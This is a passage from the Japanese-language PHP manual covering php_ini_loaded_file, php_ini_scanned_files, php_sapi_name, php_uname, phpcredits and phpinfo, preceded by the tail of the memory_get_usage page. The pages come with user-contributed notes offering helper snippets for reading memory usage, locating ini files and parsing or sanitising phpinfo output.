At first glance this may sound like "What the hell? Everybody knows, that we mean 1024 not 1000 and the difference is not too big, so what?". But in about 10 years, the size of harddisks (and files on them) reaches the petabyte-limit and then the difference between PB and PiB is magnificent.

Better to get used to it now. :)
lorin dot weilenmann at gmail dot com 26-Nov-2010 01:37
I can confirm that this function triggers a garbage collection. I have a script that exceeded 128MB of memory at some point and ended with a fatal error. I was confused, because the script dealt with some large files initially, but the memory load from that point on should have been marginal, and the error occurred at the very end.

Those large files were dealt in a dedicated function and i even used unset() on the variable holding the file after the file was written to disk inside that function. So the memory should have been cleared twice, first after the unset() call, and second once the function ended.

To debug the memory usage, I called memory_get_usage(true) at some points and echo-ed the memory allocation. Just by adding a few echos here and there in the script, the memory usage never exceeded 1MB overhead (on top of the current file size) and the memory error disappeared.
xelozz -at- gmail.com 18-Feb-2010 02:34
To get the memory usage in KB or MB

<?php
function convert($size)
 {
    $unit=array('b','kb','mb','gb','tb','pb');
    return @round($size/pow(1024,($i=floor(log($size,1024)))),2).' '.$unit[$i];
 }

echo convert(memory_get_usage(true)); // 123 kb
?>
jeff dot peck at snet dot net 19-Aug-2009 09:22
To get the memory usage in KB or MB

<?php
    function echo_memory_usage() {
        $mem_usage = memory_get_usage(true);

        if ($mem_usage < 1024)
            echo $mem_usage." bytes";
        elseif ($mem_usage < 1048576)
            echo round($mem_usage/1024,2)." kilobytes";
        else
            echo round($mem_usage/1048576,2)." megabytes";

        echo "<br/>";
    }
?>
miteigi nemoto (miteigi at yandex dot ru) 18-Nov-2008 08:19
Decision a memory_get_usage problem for windows system

Tested OS: Windows XP
Server: Apache

PHP must be loaded as CGI to get correctly memory usage by Process ID ( getmypid() ) and with cmd-tools like tasklist.exe

PHP as CGI have your own PID instead constant Apache PID and you get a true memory size independed form Apache memory usage.

Configure in httpd.conf of Apache:

1. Comment the line like this:
LoadModule php4_module "/usr/local/php/sapi/php4apache.dll"
or
LoadModule php5_module "/usr/local/php5/php5apache.dll"

2. Add this and edit your path to php:
<Directory "z:/usr/local/php">
  Options ExecCGI
</Directory>
ScriptAlias "/__php_dir__/" "z:/usr/local/php/"
Action application/x-httpd-php "/__php_dir__/php.exe"

3. Restart Apache

Use this PHP-code:

<?php
/**
* A memory_get_usage() for Windows System, wich compiled without --enable-memory-limit
* PHP must be loaded as CGI
* Greetings form miteigi nemoto
* @return string
*/
function memory_get_usage_by_tasklist()
{
    $output = array();
    exec( 'tasklist ', $output );
    foreach ($output as $value)
    {
        $ex=explode(" ",$value);
        $count_ex=count($ex);
        if (eregi(" ".getmypid()." Console",$value))
        {
            $memory_size=$ex[$count_ex-2]." Kb";
            return $memory_size;
        }
    }
}
echo memory_get_usage_by_tasklist();
?>
joe at schmoe dot com 23-Dec-2006 12:44
the various memory_get_usage replacements here don't seem to work on Mac OS X 10.4(Intel)

I got it to work like this...

<?php
function memory_get_usage()
{
     $pid = getmypid();
     exec("ps -o rss -p $pid", $output);
     return $output[1] *1024;
}
?>
e dot a dot schultz at gmail dot com 08-Apr-2006 04:41
This is a function that should work for both Windows XP/2003 and most distrabutions of UNIX and Mac OS X.

<?php
if( !function_exists('memory_get_usage') )
{
    function memory_get_usage()
    {
        //If its Windows
        //Tested on Win XP Pro SP2. Should work on Win 2003 Server too
        //Doesn't work for 2000
        //If you need it to work for 2000 look at http://us2.php.net/manual/en/function.memory-get-usage.php#54642
        if ( substr(PHP_OS,0,3) == 'WIN')
        {
               if ( substr( PHP_OS, 0, 3 ) == 'WIN' )
                {
                    $output = array();
                    exec( 'tasklist /FI "PID eq ' . getmypid() . '" /FO LIST', $output );

                    return preg_replace( '/[\D]/', '', $output[5] ) * 1024;
                }
        }else
        {
            //We now assume the OS is UNIX
            //Tested on Mac OS X 10.4.6 and Linux Red Hat Enterprise 4
            //This should work on most UNIX systems
            $pid = getmypid();
            exec("ps -eo%mem,rss,pid | grep $pid", $output);
            $output = explode("  ", $output[0]);
            //rss is given in 1024 byte units
            return $output[1] * 1024;
        }
    }
}
?>
vesa dot kivisto at nepton dot fi 14-Jul-2005 06:02
[EDIT by danbrown AT php DOT net: This function will only extend Windows versions of PHP where the server has the required third-party software.]

I was unable to get the previous examples working properly and created code which works at least for me. Enjoy!

<?php
// Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html
// This is because win/2000 itself does not provide a task list utility.
//
function getMemoryUsage() {

 // try to use PHP build in function
 if( function_exists('memory_get_usage') ) {
  return memory_get_usage();
 }

 // Try to get Windows memory usage via pslist command
 if ( substr(PHP_OS,0,3) == 'WIN') {

  $resultRow = 8;
  $resultRowItemStartPosition = 34;
  $resultRowItemLength = 8;

  $output = array();
  exec('pslist -m ' . getmypid() , $output);

  return trim(substr($output[$resultRow], $resultRowItemStartPosition, $resultRowItemLength)) . ' KB';

 }

 // No memory functionality available at all
 return '<b style="color: red;">no value</b>';

}
?>
guenter_doege at web dot de 10-Jul-2005 11:28
The Win XP / 2003 workaround script will also work with windows 2000 with a few slight modifications.

Please note that you'll need the pslist.exe utility from http://www.sysinternals.com/Utilities/PsTools.html because win/2000 itself does not provide a task list utility.

<?php

function getMemUsage()
{

       if (function_exists('memory_get_usage'))
       {
           return memory_get_usage();
       }
       else if ( substr(PHP_OS,0,3) == 'WIN')
       {
           // Windows 2000 workaround

           $output = array();
           exec('pslist ' . getmypid() , $output);
           return trim(substr($output[8],38,10));
       }
       else
       {
           return '<b style="color: red;">no value</b>';
       }
}
?>
MagicalTux at FF dot st 25-May-2005 12:08
When you need to get the OS, do not use $_SERVER['OS'] or $_ENV['OS'], better use PHP_OS constant !
<?php
if (substr(PHP_OS,0,3)=='WIN') {
  // [...]
}
?>

You also have other values such as CYGWIN_NT-5.0, Linux, ... this is the best way to get system's os (anyone on linux can do an "export OS=windows")
randolphothegreat at yahoo dot com 29-Nov-2004 01:37
[EDIT by danbrown AT php DOT net: This is intended by the author to only be used with PHP 4 < 4.3.2.]

I'd just like to point out that although sandeepc at myrealbox dot com's idea for displaying the current memory usage is a good one, it's perhaps a bad idea to pipe the entire process list through grep. A better performing method would be to select only the process we're interested in:

<?php
$pid = getmypid();
error_log('MEMORY USAGE (% KB PID ): ' . `ps --pid $pid --no-headers -o%mem,rss,pid`);
?>

True, it's not much of a performance boost, but every bit helps.
ad-rotator.com 14-May-2004 10:31
The method sandeepc at myrealbox dot com posted yields larger memory usage, my guess is that it includes all the PHP interpreter/internal code and not just the script being run.

1) Use ps command
MEMORY USAGE (% KB PID ):  0.8 12588 25087 -> about 12MB
2) Use memory_get_usage()
int(6041952) -> about 6MB


読み込まれた php.ini ファイルのパスを取得する

  • ≪ memory_get_usage
  • php_ini_scanned_files ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 読み込まれた php.ini ファイルのパスを取得する

php_ini_loaded_file

(PHP 5 >= 5.2.4, PHP 7, PHP 8)

php_ini_loaded_file — 読み込まれた php.ini ファイルのパスを取得する

説明

php_ini_loaded_file ( ) : string|false

php.ini ファイルが読み込まれているかどうかを調べ、 そのパスを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

読み込まれている php.ini のパス、 あるいは読み込まれていない場合に false を返します。

例

例1 php_ini_loaded_file() の例

<?php
$inipath = php_ini_loaded_file();

if ($inipath) {
    echo 'Loaded php.ini: ' . $inipath;
} else {
    echo 'A php.ini file is not loaded';
}
?>

上の例の出力は、 たとえば以下のようになります。

Loaded php.ini: /usr/local/php/php.ini

参考

  • php_ini_scanned_files() - 追加の ini ディレクトリにある .ini ファイルのリストを取得する
  • phpinfo() - PHP の設定情報を出力する
  • 設定ファイル

User Contributed Notes

geekcom 26-Nov-2019 06:45
To find your php.ini just run

php --ini
yc 14-May-2016 04:29
you can also do:

php -i | grep "Configuration File"
Andy Dodd 27-May-2015 07:31
Or you could use
php -i | grep php.ini
litelus 21-Oct-2014 03:59
quick way to find the ini loaded for the cli
php -r "echo php_ini_loaded_file();"


追加の ini ディレクトリにある .ini ファイルのリストを取得する

  • ≪ php_ini_loaded_file
  • php_sapi_name ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • 追加の ini ディレクトリにある .ini ファイルのリストを取得する

php_ini_scanned_files

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

php_ini_scanned_files — 追加の ini ディレクトリにある .ini ファイルのリストを取得する

説明

php_ini_scanned_files ( ) : string|false

php_ini_scanned_files()は、php.iniをパースした 後で、設定ファイルのリストをカンマ区切りで返します。 ファイルを探すディレクトリは、コンパイル時のオプションで指定します。 また、実行時に環境変数で指定することもできます。詳細は インストールガイド を参照ください。

戻り値のファイル名は、フルパス形式となります。

返り値

成功すると、.iniファイルをカンマ区切りにした文字列が返されます。 --with-config-file-scan-dir がセットされておらず、かつ環境変数 PHP_INI_SCAN_DIR も設定されていない場合は falseを返します。指定されたディレクトリが空であれば、 空文字列が返されます。ファイルが認識できないものであれば、 そのファイルは文字列には含まれますが同時にPHPがエラーを起こします。 このエラーはコンパイルの時と、php_ini_scanned_files() 関数を使用したときの両方で発生します。

例

例1 返される ini ファイルを一覧する例

<?php
if ($filelist = php_ini_scanned_files()) {
    if (strlen($filelist) > 0) {
        $files = explode(',', $filelist);

        foreach ($files as $file) {
            echo "<li>" . trim($file) . "</li>\n";
        }
    }
}
?>

参考

  • ini_set() - 設定オプションの値を設定する
  • phpinfo() - PHP の設定情報を出力する
  • php_ini_loaded_file() - 読み込まれた php.ini ファイルのパスを取得する

User Contributed Notes

atesin () gmail ! com 25-Apr-2019 04:00
<warning>

until i load more .ini files from <php-dir>/php.d/ as listed in phpinfo() (sections "Scan this dir for additional .ini files" and "Additional .ini files parsed"), php_ini_scanned_files() returns me NOTHING!

then i realized my php binary was not compiled with the "--with-config-file-scan-dir" option as listed in phpinfo() (section "Configure Command")

then i remembered the additional .ini files dir was set through the "PHP_INI_SCAN_DIR" system variable (new since php 5.2.0, see https://php.net/manual/en/configuration.file.php#configuration.file.scan)

until confusing and annoying, is the documented behavior... too bad now i don't know how to get the additional ini files purely with php functions (except "shell_exec()" maybe?)

</warning>


ウェブサーバーと PHP の間のインターフェイスの型を返す

  • ≪ php_ini_scanned_files
  • php_uname ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • ウェブサーバーと PHP の間のインターフェイスの型を返す

php_sapi_name

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

php_sapi_name — ウェブサーバーと PHP の間のインターフェイスの型を返す

説明

php_sapi_name ( ) : string|false

PHP が使用しているインターフェイス (サーバー API、SAPI) の型を小文字の文字列で返します。たとえば、CLI 版の PHP ではこの文字列は "cli" となります。Apache と組み合わせて使用している場合は、 実際に使用している SAPI によってさまざまな結果となります。 返されうる値の一覧を以下にあげます。

返り値

インターフェイスの型を小文字の文字列で返します。 失敗した場合に false を返します

これがすべてではありませんが、以下のような値が返されます。 apache, apache2handler, cgi (PHP 5.3 まで), cgi-fcgi, cli, cli-server, embed, fpm-fcgi, litespeed, phpdbg

例

例1 php_sapi_name() の例

この例では、文字列の一部に cgi が含まれるかどうかを調べています。というのも cgi-fcgi となることもあり得るからです。

<?php
$sapi_type = php_sapi_name();
if (substr($sapi_type, 0, 3) == 'cgi') {
    echo "CGI 版の PHP を使用しています\n";
} else {
    echo "CGI 版の PHP を使用していません\n";
}
?>

注意

注意: 別の方法

PHP の定数 PHP_SAPI は、 php_sapi_name() と同じ値となります。

ヒント

失敗しがちな点

定義されている SAPI は、わかりやすいものばかりではないかもしれません。 たとえば apache の場合は apache2handler と定義されることもあります。

参考

  • PHP_SAPI

User Contributed Notes

michael at butlerpc dot net 05-Jan-2021 09:49
When using nginx-unit with PHP, the sapi name seems to be "cli-server"
anonymous 16-Sep-2015 02:50
php_sapi_name (which is equal to PHP_SAPI) can either be cgi or any other cgi mod (dependent on which mod you are using)-

Examples:
'fpm-fcgi'
'cgi-fcgi'
[...]
hajo-p 03-Feb-2014 10:58
some not yet mentioned sapi names:

cli-server -> php built-in webserver
srv -> hhvm
michal at roszka dot pl 26-Mar-2009 01:13
The php_sapi_name() function is extremely useful when you want to determine the type of interface. There is, however, one more gotcha you need to be aware of while designing your application or deploying it to an unknown server.

Whenever something depends on the type of interface, make sure your check is conclusive. Especially when you want to distinguish the command line interface (CLI) from the common gateway interface (CGI).

Note, that the php-cgi binary can be called from the command line, from a shell script or as a cron job as well! If so, the php_sapi_name() will always return the same value (i.e. "cgi-fcgi") instead of "cli" which you could expect.

Bad things happen to good people. Do not always expect /usr/bin/php to be a link to php-cli binary.

Luckily the contents of the $_SERVER and the $_ENV superglobal arrays depends on whether the php-cgi binary is called from the command line interface (by a shell script, by the cron, etc.) or by some HTTP server (i.e. lighttpd).

<?php
var_dump($_SERVER);
?>

Try to call php-cgi binary from the command line interface and then via HTTP request and compare the output of the script above. There will be plenty options to satisfy almost everyone.

For the sake of security remember, that contents of the $_SERVER and the $_ENV superglobal arrays (as well as $_GET, $_POST, $_COOKIE, $_FILES and $_REQUEST) should be considered tainted.


PHP が稼動しているオペレーティングシステムに関する情報を返す

  • ≪ php_sapi_name
  • phpcredits ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • PHP が稼動しているオペレーティングシステムに関する情報を返す

php_uname

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

php_uname — PHP が稼動しているオペレーティングシステムに関する情報を返す

説明

php_uname ( string $mode = "a" ) : string

php_uname() は、PHP が稼動しているオペレーティング システムに関する説明を返します。これは、phpinfo() の出力の先頭に出てくるものと同じです。 単に OS の名前を取得したい場合には PHP_OS 定数の利用を考えてください。ただし、 この定数が返すのは PHP が構築された OS の 情報であることに注意しましょう。

古い UNIX プラットフォームの中には現在の OS 情報を取得できないものもあります。 そんな場合は、PHP をビルドした OS の情報を表示します。 これがおこるのは、 uname() ライブラリコールが存在しないか機能していない場合のみです。

パラメータ

mode

mode は、どのような情報を返すのかを一文字で指定します:

  • 'a': デフォルトです。すべてのモードを "s n r v m" の順で返します。
  • 's': オペレーティングシステム名。 例: FreeBSD
  • 'n': ホスト名。 例: localhost.example.com
  • 'r': リリース名。 例: 5.1.2-RELEASE
  • 'v': バージョン情報。 オペレーティングシステムによって大きく変わります。
  • 'm': マシン型。例: i386

返り値

説明を文字列で返します。

例

例1 php_uname() の例

<?php
echo php_uname();
echo PHP_OS;

/* 出力の例
Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686
Linux

FreeBSD localhost 3.2-RELEASE #15: Mon Dec 17 08:46:02 GMT 2001
FreeBSD

Windows NT XN1 5.1 build 2600
WINNT
*/

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    echo 'このサーバーは Windows です!';
} else {
    echo 'このサーバーは Windows ではありません!';
}

?>

関連する 定義済みの定数 を使うほうが簡単なこともあります。例えばこのようになります。

例2 OS 関連の定数の例

<?php
// *nix
echo DIRECTORY_SEPARATOR; // /
echo PHP_SHLIB_SUFFIX;    // so
echo PATH_SEPARATOR;      // :

// Win*
echo DIRECTORY_SEPARATOR; // \
echo PHP_SHLIB_SUFFIX;    // dll
echo PATH_SEPARATOR;      // ;
?>

参考

  • phpversion() - 現在の PHP バージョンを取得する
  • php_sapi_name() - ウェブサーバーと PHP の間のインターフェイスの型を返す
  • phpinfo() - PHP の設定情報を出力する

User Contributed Notes

pyst 30-Sep-2020 01:05
Note that the argument is not a "format". This means that <?php uname('a') ?> is not equivalent to <?php uname('s n r v m') ?>, but rather <?php uname('s') . ' ' . uname('n') . ' ' . uname('r') . ' ' . uname('v') . ' ' . uname('m') ?>.
Ricardo Striquer (ricardophp yohoocombr) 18-Sep-2019 05:24
Although it does not indicate receiving parameters this function allows some chars as parameters, they are the options a; m; n; r; s; v.

I don't know exactly what each one does, but below is a code example and its output on PHP 5.5 running on RedHat 4.4

<?php
echo '<pre>';
echo '(void): '.php_uname()."\n"; // output: "(void): Linux web989.uni5.net 4.4.180 #1 SMP Wed May 22 15:27:37 -03 2019 x86_64"
echo 'a: '.php_uname('a')."\n"; // output: "a: Linux web989.uni5.net 4.4.180 #1 SMP Wed May 22 15:27:37 -03 2019 x86_64"
echo 'm: '.php_uname('m')."\n"; // output: "m: x86_64"
echo 'n: '.php_uname('n')."\n"; // output: "n: web989.uni5.net"
echo 'r: '.php_uname('r')."\n"; // output: "r: 4.4.180"
echo 's: '.php_uname('s')."\n"; // output: "s: Linux"
echo 'v: '.php_uname('v')."\n"; // output: "v: #1 SMP Wed May 22 15:27:37 -03 2019"
// echo file_get_contents('/etc/issue')."\n";

echo '</pre>';
phpinfo();
?>

Note that I used file_get_contentes with a file, that file is present in most linux boxies and varies on content, but most of times it indicates kernel version, linux version, distribution and so on. In my case my user didn't have access to the file, so to identify that it was a red hat I paid attention to php_info outputs, there in the middle was the postgress driver description, p. eg indicating the distribution.

I guess there is no easy way to find out the server version programmatically a 100% of times, but by and large you can get around by yourself.
Grzechooo+php at gmail dot com 29-Sep-2012 05:07
Note that PHP won't tell you that it reverted to displaying platform it was built on.
Yzmir Ramirez 24-Aug-2011 10:00
Note that php_uname('n') does not always equal $_SERVER['HOST_NAME']

The machine that you are running the script may server many different host names so don't use this when building urls.


PHP に関するクレジットを出力する

  • ≪ php_uname
  • phpinfo ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • PHP に関するクレジットを出力する

phpcredits

(PHP 4, PHP 5, PHP 7, PHP 8)

phpcredits — PHP に関するクレジットを出力する

説明

phpcredits ( int $flags = CREDITS_ALL ) : bool

この関数は、PHP 開発者、モジュール等のリストを有するクレジットを出力します。 ページに情報を挿入するために、適切な HTML コードが生成されます。

パラメータ

flags

独自のクレジットページを出力したい場合に flags を利用するとよいでしょう。

定義済みの phpcredits() フラグ
名前 | 説明
CREDITS_ALL | すべてのクレジットを含めます。 CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_FULLPAGE と同等です。これは、適切なタグを含んだ それ単体で成立する HTML ページを生成します。
CREDITS_DOCS | ドキュメントチームのクレジット
CREDITS_FULLPAGE | 通常、他のフラグと組み合わせて使用します。 他のフラグで指定した情報を含む、それ単体で完全に独立した HTML ページを出力することを指定します。
CREDITS_GENERAL | 一般的なクレジット: 言語の設計およびコンセプト、PHP 作者、SAPIモジュール
CREDITS_GROUP | コア開発者のリスト
CREDITS_MODULES | PHPの拡張モジュール、およびその作者のリスト
CREDITS_SAPI | PHP のサーバー API モジュールとその作者のリスト

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 全般的なクレジットの出力

<?php
phpcredits(CREDITS_GENERAL);
?>

例2 コア開発者およびドキュメントグループの表示

<?php
phpcredits(CREDITS_GROUP | CREDITS_DOCS | CREDITS_FULLPAGE);
?>

例3 すべてのクレジットの表示

<html>
 <head>
  <title>独自のクレジットページ</title>
 </head>
 <body>
<?php
// あなたが書いた独自のコード
phpcredits(CREDITS_ALL - CREDITS_FULLPAGE);
// さらに別のコード
?>
 </body>
</html>

注意

注意:

phpcredits() を CLI モードで使うと、 HTML ではなくプレーンテキスト形式で出力します。

参考

  • phpversion() - 現在の PHP バージョンを取得する
  • php_logo_guid()
  • phpinfo() - PHP の設定情報を出力する

User Contributed Notes

There are no user contributed notes for this page.


PHP の設定情報を出力する

  • ≪ phpcredits
  • phpversion ≫
  • PHP Manual
  • PHP オプション/情報 関数
  • PHP の設定情報を出力する

phpinfo

(PHP 4, PHP 5, PHP 7, PHP 8)

phpinfo — PHP の設定情報を出力する

説明

phpinfo ( int $flags = INFO_ALL ) : bool

現在の PHP の状態に関する、多くの情報を出力します。出力される情報には、 PHP コンパイルオプションと拡張機能、PHP のバージョン、 サーバー情報と環境（モジュールとしてコンパイルされた場合）、 PHP の環境、OS バージョン情報、パス、構成オプションのマスター およびローカルの値、HTTP ヘッダ、PHP License などがあります。

システムの設定はそれぞれ違うため、実行時設定 や 利用できる 定義済みの変数 を調べるために phpinfo() がよく使われます。

また、phpinfo() には EGPCS (Environment, GET, POST, Cookie, Server) の情報が含まれているため、デバッグツールとしても便利です。

パラメータ

flags

以下にあるconstantsビット値をひとつまたは 複数個を加算して、オプションのflags引数に 渡すことによって出力をカスタマイズできます。 それぞれの定数やビット値をビット和演算子 で結んで渡すこともできます。

phpinfo() のオプション
名前(定数) | 値 | 説明
INFO_GENERAL | 1 | configure オプション、php.ini の場所、ビルド日時、 Web サーバー、オペレーティングシステム等。
INFO_CREDITS | 2 | PHP クレジット。phpcredits() も参照ください。
INFO_CONFIGURATION | 4 | ローカルおよびマスタの、現在の PHP ディレクティブの値。 ini_get() も参照ください。
INFO_MODULES | 8 | ロードされているモジュールと、それぞれの設定。 get_loaded_extensions() も参照ください。
INFO_ENVIRONMENT | 16 | $_ENV で取得できる環境変数の情報。
INFO_VARIABLES | 32 | EGPCS（環境変数・GET・POST・クッキー・サーバー変数）から すべての 定義済みの変数を表示します。
INFO_LICENSE | 64 | PHP ライセンス情報。» ライセンス FAQ も参照ください。
INFO_ALL | -1 | 上記のすべてを表示します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 phpinfo() の例

<?php

// すべての情報を表示します。デフォルトは INFO_ALL です。
phpinfo();

// モジュール情報だけを表示します。
// phpinfo(8) としても同じです。
phpinfo(INFO_MODULES);

?>

注意

注意:

PHP 5.5 より前のバージョンでは、 expose_php が off の場合、一部の情報は表示されません。 これにはPHPとZendのロゴ、そしてクレジットが含まれます。

注意:

CLI モードを利用している場合、phpinfo() は HTML ではなくプレーンテキストで結果を出力します。

参考

  • phpversion() - 現在の PHP バージョンを取得する
  • phpcredits() - PHP に関するクレジットを出力する
  • php_logo_guid()
  • ini_get() - 設定オプションの値を得る
  • ini_set() - 設定オプションの値を設定する
  • get_loaded_extensions() - コンパイル/ロードされている全てのモジュールの名前を配列として返す
  • 定義済みの変数

User Contributed Notes

bimal at sanjaal dot com 01-Dec-2017 02:06
If you are embeding the output of the function within a page, the <html> tag can collide and page will distort.

Rather, it is important to extract the contents within the <body> and </body> tags only. Here is how.

<?php
    public function info()
    {
        ob_start();
            phpinfo();
        $info = ob_get_clean();

        $info = preg_replace("/^.*?\<body\>/is", "", $info);
        $info = preg_replace("/<\/body\>.*?$/is", "", $info);

        echo $info;
    }
?>
keinwort at hotmail dot com 24-Sep-2017 05:22
REMARK/INFO: if Content-Security-Policy HTTP header
is
Content-Security-Policy "default-src 'self';";

phpinfo() is shown without a table
Calin S. 09-Sep-2015 12:38
After reading and trying various functions, I couldn't find one that correctly parses all the configurations, strips any left-over html tag and converts special characters into UTF8 (e.g. &#039; into '), so I created my own by improving on the existing ones:

function phpinfo2array() {
    $entitiesToUtf8 = function($input) {
        // http://php.net/manual/en/function.html-entity-decode.php#104617
        return preg_replace_callback("/(&#[0-9]+;)/", function($m) { return mb_convert_encoding($m[1], "UTF-8", "HTML-ENTITIES"); }, $input);
    };
    $plainText = function($input) use ($entitiesToUtf8) {
        return trim(html_entity_decode($entitiesToUtf8(strip_tags($input))));
    };
    $titlePlainText = function($input) use ($plainText) {
        return '# '.$plainText($input);
    };

    ob_start();
    phpinfo(-1);

    $phpinfo = array('phpinfo' => array());

    // Strip everything after the <h1>Configuration</h1> tag (other h1's)
    if (!preg_match('#(.*<h1[^>]*>\s*Configuration.*)<h1#s', ob_get_clean(), $matches)) {
        return array();
    }

    $input = $matches[1];
    $matches = array();

    if(preg_match_all(
        '#(?:<h2.*?>(?:<a.*?>)?(.*?)(?:<\/a>)?<\/h2>)|'.
        '(?:<tr.*?><t[hd].*?>(.*?)\s*</t[hd]>(?:<t[hd].*?>(.*?)\s*</t[hd]>(?:<t[hd].*?>(.*?)\s*</t[hd]>)?)?</tr>)#s',
        $input,
        $matches,
        PREG_SET_ORDER
    )) {
        foreach ($matches as $match) {
            $fn = strpos($match[0], '<th') === false ? $plainText : $titlePlainText;
            if (strlen($match[1])) {
                $phpinfo[$match[1]] = array();
            } elseif (isset($match[3])) {
                $keys1 = array_keys($phpinfo);
                $phpinfo[end($keys1)][$fn($match[2])] = isset($match[4]) ? array($fn($match[3]), $fn($match[4])) : $fn($match[3]);
            } else {
                $keys1 = array_keys($phpinfo);
                $phpinfo[end($keys1)][] = $fn($match[2]);
            }

        }
    }

    return $phpinfo;
}

The output looks something like this (note the headers are also included but are prefixed with '# ', e.g. '# Directive'):

Array
(
    [phpinfo] => Array
        (
            [0] => PHP Version 5.6.5
            [System] => Darwin Calins-MBP 15.0.0 Darwin Kernel Version 15.0.0: Wed Aug 26 19:41:34 PDT 2015; root:xnu-3247.1.106~5/RELEASE_X86_64 x86_64
            [Build Date] => Feb 19 2015 18:34:18
            [Registered Stream Socket Transports] => tcp, udp, unix, udg, ssl, sslv3, sslv2, tls, tlsv1.0
            [Registered Stream Filters] => zlib.*, bzip2.*, convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.*, consumed, dechunk
            [1] => This program makes use of the Zend Scripting Language Engine:Zend Engine...
        )

    [apache2handler] => Array
        (
            [Apache Version] => Apache/2.4.16 (Unix) PHP/5.6.5 OpenSSL/0.9.8zg
            [Apache API Version] => 20120211
            [Server Administrator] => webmaster@dummy-host2.example.com
            [Hostname:Port] => sitestacker.local:0
            [# Directive] => Array
                (
                    [0] => # Local Value
                    [1] => # Master Value
                )

            [engine] => Array
                (
                    [0] => 1
                    [1] => 1
                )

            [last_modified] => Array
                (
                    [0] => 0
                    [1] => 0
                )
Joseph Reilly 12-Mar-2015 10:44
One note on the very useful example by "jon at sitewizard dot ca".
The following statements:
Statement 1:
$phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
Statement 2:
$phpinfo[end(array_keys($phpinfo))][] = $match[2];

These two lines will produce the error "Strict Standards:  Only variables should be passed by reference in...".  The root of the error is in the incorrect use of the end() function. The code works but thows the said error.
To address this try using the following statements:

Statement 1 revision:
$keys = array_keys($phpinfo);
$phpinfo[end($keys)][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];

Statement 2 revision:
$keys = array_keys($phpinfo);
$phpinfo[end($keys)][] = $match[2];

This fixes the error.
To wrap it all in an example:
<?php
function quick_dev_insights_phpinfo() {
ob_start();
phpinfo(11);
$phpinfo = array('phpinfo' => array());

    if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER)){
        foreach($matches as $match){
        if(strlen($match[1])){
            $phpinfo[$match[1]] = array();
        }elseif(isset($match[3])){
        $keys1 = array_keys($phpinfo);
        $phpinfo[end($keys1)][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
        }else{
            $keys1 = array_keys($phpinfo);
            $phpinfo[end($keys1)][] = $match[2];

        }

        }
}

    if(! empty($phpinfo)){
        foreach($phpinfo as $name => $section) {
            echo "<h3>$name</h3>\n<table class='wp-list-table widefat fixed pages'>\n";
            foreach($section as $key => $val){
                    if(is_array($val)){
                    echo "<tr><td>$key</td><td>$val[0]</td><td>$val[1]</td></tr>\n";
                    }elseif(is_string($key)){
                    echo "<tr><td>$key</td><td>$val</td></tr>\n";
                    }else{
                    echo "<tr><td>$val</td></tr>\n";
                }
            }
        }
            echo "</table>\n";
        }else{
    echo "<h3>Sorry, the phpinfo() function is not accessable. Perhaps, it is disabled<a href='http://php.net/manual/en/function.phpinfo.php'>See the documentation.</a></h3>";
    }
}
?>
Frankly, I went thought the trouble of adding this note because the example by "jon at sitewizard dot ca"  is probably the best on the web, and thought it unfortunate that it throws errors. Hope this is useful to someone.
LewisR 16-Feb-2015 08:09
Building on SimonD's elegant example to hide the logged-in username and password, which otherwise appear in plain text, the following should work for PHP 5.4+:

<?php
    // start output buffering
    ob_start();

    // send phpinfo content
    phpinfo();

    // get phpinfo content
    $html = ob_get_contents();

    // flush the output buffer
    ob_end_clean();

    // remove auth data
    if ( isset( $_SERVER[ 'PHP_AUTH_USER' ] ) ) $html = str_replace( $_SERVER[ 'PHP_AUTH_USER' ], '[ protected ]' , $html);
    if ( isset( $_SERVER[ 'PHP_AUTH_PW' ] ) ) $html = str_replace( $_SERVER[ 'PHP_AUTH_PW' ], '[ protected ]' , $html);

    echo $html;
?>

To remove additional items, just add them as above.
cbar at vmait dot com 26-Apr-2014 01:05
<?php

// NOTE: When accessing a element from the above phpinfo_array(), you can do:
$array = phpinfo_array();

// This will work
echo $array["General"]["System "];

// This should work also, but it doesn't because there is a space after System in the array.
  echo $array["General"]["System"];

// I hope the coder will fix it, so as to save someone else from wasting time. Otherwise, nice script.

?>
SimonD 22-Apr-2013 06:05
Removes sensitive data like AUTH_USER and AUTH_PASSWORD from the phpinfo output:

<?php
// start output buffering
ob_start();

// send phpinfo content
phpinfo();

// get phpinfo content
$html = ob_get_contents();

// flush the output buffer
ob_end_clean();

// remove auth data
if (isset($_SERVER['AUTH_USER'])) $html = str_replace($_SERVER['AUTH_USER'], '<i>no value</i>', $html);
if (isset($_SERVER['AUTH_PASSWORD'])) $html = str_replace($_SERVER['AUTH_PASSWORD'], '<i>no value</i>', $html);

echo $html;
henzeberkheij at dot SPAM dot gmail dot com 28-Aug-2012 02:20
I needed a way to quickly scroll through the phpinfo which is a large list of information. so here it is. In the top there is a list with sections, the new section loaded extensions will hold the links to the anchors of the loaded modules. the section session variables will show the current loaded sessions. It's using Domdocument for manipulation so you should have that loaded:
<?php
ob_start();
    $exts = get_loaded_extensions();
    phpinfo();
    $phpinfo = ob_get_contents();
    ob_end_clean();
    //print $phpinfo;
